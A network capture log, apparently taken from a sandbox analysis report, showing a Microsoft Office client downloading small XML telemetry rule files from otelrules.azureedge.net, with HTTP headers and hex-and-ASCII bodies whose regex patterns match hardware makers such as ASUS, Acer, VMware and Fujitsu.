2024-11-01 12:43:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 250fb995-801e-0078-4343-2bbac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124301Z-16ccfc49897bnsqjhC1DFWhxb800000000ng00000000axwe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	62323	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:01 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:01 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: cb795b0b-301e-001f-35c7-2aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124301Z-159b85dff8f2qnk7hC1DFWwa2400000001h000000000cas3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	62320	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:01 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: e631ddcb-001e-0065-1f99-2a0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124301Z-159b85dff8f97jn9hC1DFW19vg000000015g00000000a0v6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	62324	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:01 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:01 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:01 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: bc8d97c4-d01e-00a1-8008-2c35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124301Z-16ccfc4989744mtmhC1DFWr0ts00000000qg00000000ay0m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:01 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	62329	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:02 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3ed937ed-001e-0065-4608-2c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124302Z-16ccfc498974hjqwhC1DFW7uyn00000000mg0000000006fa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:02 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	62327	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:02 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:02 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 418c1829-101e-008d-5008-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124302Z-16ccfc498972c2r2hC1DFWxq6800000000kg0000000092qd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:02 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	62325	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:02 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:02 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:02 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 360ad152-001e-0079-6bbd-2a12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124302Z-159b85dff8f2qnk7hC1DFWwa2400000001q00000000049eq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:02 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	62326	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:02 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124302Z-16ccfc49897rxv9khC1DFWwn2800000000gg00000000eq42 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	62328	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:02 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:02 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:02 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 634471bf-901e-0016-1230-2cefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124302Z-16ccfc49897x7dnlhC1DFWu7ac00000000mg00000000cmvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:02 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	62330	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:03 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 406e0a0b-a01e-0084-59cd-2b9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124303Z-16ccfc49897pchpfhC1DFW151000000000g000000000f45c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	62334	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:03 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:03 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:03 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b4871f28-d01e-00a1-686d-2b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124303Z-159b85dff8fvjwrdhC1DFWymhn00000001s0000000000xby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	62332	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 12:43:03 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-01 12:43:03 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 12:43:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: e5bf7d34-e01e-00aa-152e-2cceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241101T124303Z-176bd8f9bc5pzj8phC1DFWsz3000000000p000000000185y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-01 12:43:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> 